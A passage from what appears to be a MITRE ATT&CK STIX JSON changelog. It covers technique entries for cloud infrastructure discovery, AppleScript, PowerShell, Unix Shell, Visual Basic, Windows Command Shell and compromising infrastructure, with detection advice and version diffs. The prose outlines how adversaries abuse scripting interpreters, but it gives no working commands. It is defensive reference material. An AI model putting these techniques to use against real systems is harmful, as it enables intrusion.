"https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html" + }, + { + "source_name": "AWS Get Public Access Block", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html" + }, + { + "source_name": "AWS Describe DB Instances", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html" + }, + { + "source_name": "Amazon Describe Instance", + "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html" + }, + { + "source_name": "Amazon Describe Instances API", + "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html" + }, + { + "source_name": "Google Compute Instances", + "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas", + "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.", + "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Praetorian", + "Isif Ibrahima, Mandiant" + ], + "x_mitre_data_sources": [ + "Instance: Instance Enumeration", + "Cloud Storage: Cloud Storage Enumeration", + "Volume: Volume Enumeration", + "Snapshot: Snapshot Enumeration" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 13:28:37.415000+00:00\", \"old_value\": \"2022-04-20 19:03:12.977000+00:00\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0010: Cloud Storage (Cloud Storage Enumeration)", + "DS0020: Snapshot (Snapshot Enumeration)", + "DS0030: Instance (Instance Enumeration)", + "DS0034: Volume (Volume Enumeration)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:07:54.329000+00:00", + "modified": "2024-10-15 14:18:20.087000+00:00", + "name": "AppleScript", + "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/002", + "external_id": "T1059.002" + }, + { + "source_name": "Apple AppleScript", + "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.", + "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html" + }, + { + "source_name": "SentinelOne macOS Red Team", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/" + }, + { + "source_name": "SentinelOne AppleScript", + "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.", + "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/" + }, + { + "source_name": "Macro Malware Targets Macs", + "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Phil Stokes, SentinelOne" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 14:18:20.087000+00:00\", \"old_value\": \"2024-03-01 19:06:05.126000+00:00\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 13:48:55.078000+00:00", + "modified": "2024-10-15 16:39:13.228000+00:00", + "name": "PowerShell", + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/001", + "external_id": "T1059.001" + }, + { + "source_name": "Microsoft PSfromCsharp APR 2014", + "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", + "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/" + }, + { + "source_name": "SilentBreak Offensive PS Dec 2015", + "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", + "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/" + }, + { + "source_name": "FireEye PowerShell Logging 2016", + "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + }, + { + "source_name": "Github PSAttack", + "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.", + "url": "https://github.com/Exploit-install/PSAttack-1" + }, + { + "source_name": "inv_ps_attacks", + "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.", + "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + }, + { + "source_name": "TechNet PowerShell", + "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx" + }, + { + "source_name": "Sixdub PowerPick Jan 2016", + "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", + "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mayuresh Dani, Qualys", + "Praetorian", + "Ross Brittain" + ], + "x_mitre_data_sources": [ + "Script: Script Execution", + "Process: Process Creation", + "Process: Process Metadata", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:39:13.228000+00:00\", \"old_value\": \"2024-03-01 18:01:37.575000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.\", \"old_value\": \"Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://github.com/Exploit-install/PSAttack-1\", \"old_value\": \"https://github.com/jaredhaight/PSAttack\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program", + "M1045: Code Signing", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:15:05.330000+00:00", + "modified": "2024-10-15 15:17:19.136000+00:00", + "name": "Unix Shell", + "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/004", + "external_id": "T1059.004" + }, + { + "source_name": "Apple ZShell", + "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.", + "url": "https://support.apple.com/HT208050" + }, + { + "source_name": "DieNet Bash", + "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.", + "url": "https://linux.die.net/man/1/bash" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Linux", + "Network" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:17:19.136000+00:00\", \"old_value\": \"2024-04-16 12:24:40.163000+00:00\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:29:51.508000+00:00", + "modified": "2024-10-15 16:43:27.104000+00:00", + "name": "Visual Basic", + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/005", + "external_id": "T1059.005" + }, + { + "source_name": "VB .NET Mar 2020", + "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.", + "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/" + }, + { + "source_name": "Default VBS macros Blocking ", + "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.", + "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805" + }, + { + "source_name": "Microsoft VBScript", + "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.", + "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)" + }, + { + "source_name": "Microsoft VBA", + "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/office/vba/api/overview/" + }, + { + "source_name": "VB Microsoft", + "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/dotnet/visual-basic/" + }, + { + "source_name": "Wikipedia VBA", + "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.", + "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Module: Module Load", + "Command: Command Execution", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:43:27.104000+00:00\", \"old_value\": \"2023-04-07 17:13:03.738000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:12:31.196000+00:00", + "modified": "2024-10-15 15:19:56.540000+00:00", + "name": "Windows Command Shell", + "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/003", + "external_id": "T1059.003" + }, + { + "source_name": "SSH in Windows", + "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:19:56.540000+00:00\", \"old_value\": \"2024-03-01 17:35:02.889000+00:00\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:36:30.759000+00:00", + "modified": "2024-10-16 20:06:03.570000+00:00", + "name": "Compromise Infrastructure", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)\n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584", + "external_id": "T1584" + }, + { + "source_name": "amnesty_nso_pegasus", + "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.", + "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/" + }, + { + "source_name": "Sysdig Proxyjacking", + "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.", + "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/" + }, + { + "source_name": "FireEye DNS Hijack 2019", + "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html" + }, + { + "source_name": "ICANNDomainNameHijacking", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", + "url": "https://www.icann.org/groups/ssac/documents/sac-007-en" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt 